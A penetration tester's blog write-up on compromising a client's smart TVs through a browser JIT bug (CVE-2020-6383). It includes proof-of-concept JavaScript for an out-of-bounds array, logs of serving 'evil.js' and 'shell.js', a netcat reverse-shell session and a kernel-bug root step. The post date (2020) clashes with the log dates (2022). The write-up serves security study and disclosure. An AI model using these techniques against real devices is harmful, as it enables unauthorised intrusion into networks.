Exploiting Smart TV Default Browser


I was engaged in a penetration test for a client who had put significant energy into ensuring that their environment was solid and free from attack vectors. Over three days of passive and active surveillance of the client's environment, the most obvious attack vector to me was via the broadcast screens.

Exploiting Smart TV Default Browser

Posted on 2020-03-02 by Peter Bassill in category Penetration Testing.


Penetration Testing   IoT   Smart TV   Exploit  


I was engaged in a penetration test for a client who had put significant energy into ensuring that their environment was solid and free from attack vectors. Over three days of passive and active surveillance of the client's environment, the most obvious attack vector to me was via the broadcast screens.

 

The client has several smart TV devices to communicate pertinent information to the staff throughout the business. These screens range from the menu screens in the staff restaurant to disseminating security awareness messages across the many floors. All the screens are the same model, so I needed to go to a local high street retailer and pick one up. (We don't like to use amazon. If we can buy locally, we will.) None of the TV's were certified as IoT Security Safe.

 

With the Smart TV safely in the lab, I could go to work on it and, hopefully, find an avenue of attack that would enable me to gain remote access.

 

I initially started by following the attack path Rafael Scheel used, exploiting the memory leak in the JSArray sort function. As with most things in security, it appears as though this function is no longer exploitable and had been factory patched.

 

I was aware of a similar vulnerability in the default browser related to CVE-2020-6383. When the JS engine tries to optimise this pattern of JS code:

 

for (var i=initial; i<end; i+=increment) {

    ...

 }

 

The function Typer::Visitor::TypeInductionVariablePhi is called to get type of i

 

Type Typer::Visitor::TypeInductionVariablePhi(Node* node) {

 [...]

   const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) &&

                                  

increment_type.Is(typer_->cache_->kInteger);

   bool maybe_nan = false;

   // The addition or subtraction could still produce a NaN, if the integer

   // ranges touch infinity.

   if (both_types_integer) {

     Type resultant_type =

         (arithmetic_type == InductionVariable::ArithmeticType::kAddition)

             ? typer_->operation_typer()->NumberAdd(initial_type, increment_type)

             : typer_->operation_typer()->NumberSubtract(initial_type,

                                                        

increment_type);

     maybe_nan = resultant_type.Maybe(Type::NaN()); // *** 1 ***

   }

 [...]

   if (arithmetic_type == InductionVariable::ArithmeticType::kAddition) {

     increment_min = increment_type.Min();

     increment_max = increment_type.Max();

   } else {

    

DCHECK_EQ(InductionVariable::ArithmeticType::kSubtraction, arithmetic_type);

     increment_min = -increment_type.Max();

     increment_max = -increment_type.Min();

   }

   if (increment_min >= 0) {

 [...]

   } else if (increment_max <= 0) { [...] } else { return typer_->cache_->kInteger; 

   }

 

The code assumes that when the increment variable can be both positive and negative, the result type of i will be kInteger (which doesn't include NaN). However, since the increment value can be changed from inside the loop body, it's possible, for example, to set i = 0 and increment = -infinity and then set the increment to +Infinity inside the for loop. This will make i become NaN in the next iteration of the loop and leads to a type mismatch of variable i. The engine thinks its type is kInteger (not including NaN), but it can be NaN

 

Here is my little proof-of-concept:

 

var x = -Infinity;

 var k = 0;

 for (var i=0; i<1; i+=x) { if (i == -Infinity) { x = +Infinity; } if (++k > 10) {

         break;

     }

 }

 

The bug leads to a mismatched type of i in the optimisation engine and the actual value of i. The real value of i is NaN, while the optimisation engine decides the value of i is type kInteger. We use this value as a length to construct a JS array. This mismatch of length value makes the length field more significant than its backing store's capacity, leading to an out-of-bounds read/write to this array.

 

This is my PoC that creates an OOB read/write JS array

    var value = Math.max(i, 1024); // [1024, Infinity]

     value = -value; // [-Infinity, -1024]

     value = Math.max(value, -1025); // [-1025, -1024]

     value = -value; // [1024, 1025]

     value -= 1022; // [2, 3]

     value >>= 1; // 0

     value += 10; // 10

     var array = Array(value);

     array[0] = 1.1;

 

In the optimisation engine, the value is predicted to be 10. But the actual value is huge because of the mismatch type of i.

 

Additionally, the JS array operator is also optimised. It uses the actual value as a length, but the backing store is created with the predicted value that is much smaller than the length. So, we can get OOB read/write to this new JS array. Using this array, we can get an arbitrary read/write primitive. Final we use the RWX page of WASM to run our connect-back shellcode.

 

When requested, the exploit would be served from my local machine to the TV. The webserver would be listening on ports 80 and 443. When called, the exploit would make invoke a remote shell to my IP address on port 4000.

 

Executing the exploit using the web browser proved that the concept would work. By browsing the laptop using the TV, the exploit is launched.

 

[email protected]:/var/www/html# servesploit
172.16.54.83 – [28/Mar/2022 18:03:31] “HEAD /index.html HTTP/1.1” 200 -
172.16.54.83 – [28/Mar/2022 18:03:31] “GET /index.html HTTP/1.1” 200 -
172.16.54.83 – [28/Mar/2022 18:03:31] “HEAD /inc/utils.js HTTP/1.1” 200 -
172.16.54.83 – [28/Mar/2022 18:03:31] “HEAD /inc/jquery.js HTTP/1.1” 200 -
172.16.54.83 – [28/Mar/2022 18:03:31] “HEAD /inc/evil.js HTTP/1.1” 200 -
 172.16.54.83 – [28/Mar/2022 18:03:31] “HEAD /inc/shell.js HTTP/1.1” 200 -

 

And on my laptop, we can observe the connecting shell.

[email protected]:/var/www/html# nc -lnvvp 4000
listening on [any] 4000 …
connect to [172.16.54.11] from (UNKNOWN) [172.16.54.83] 54281
ps
401 root 0 SW< [bat_events]
432 root 44231 S    /mtd_exe/Network/SNAP -s -c -t 1 -D
522 app 14525 S N  /mtd_exe/Comp_LIB/MrsAgent
553 app 54264 S < /mtd_exe/moip/exeCamera -vdbinder
607 root 0 SW  [flush-245:0]
617 root 0 SW  [loop1]
642 root 0 SW  [loop2]
675 root 0 SW  [loop4]
1134 app 3552 S /bin/sh
1546 app 5322 R ps

 

Now I have access to the TV, but for better persistence and ongoing work, being root is significantly more beneficial. To do that, I leverage a bug in the kernel.

 

/mtd_rwarea/oc/getroot
whoami
 root

 

So now I have root access to the TV, but how can I make this work in the broader world?


Get in Touch

Kindly fill the form and we will get back to you.

Contact us if you are experiencing a Cyber IncidentHaving a Cyber Incident?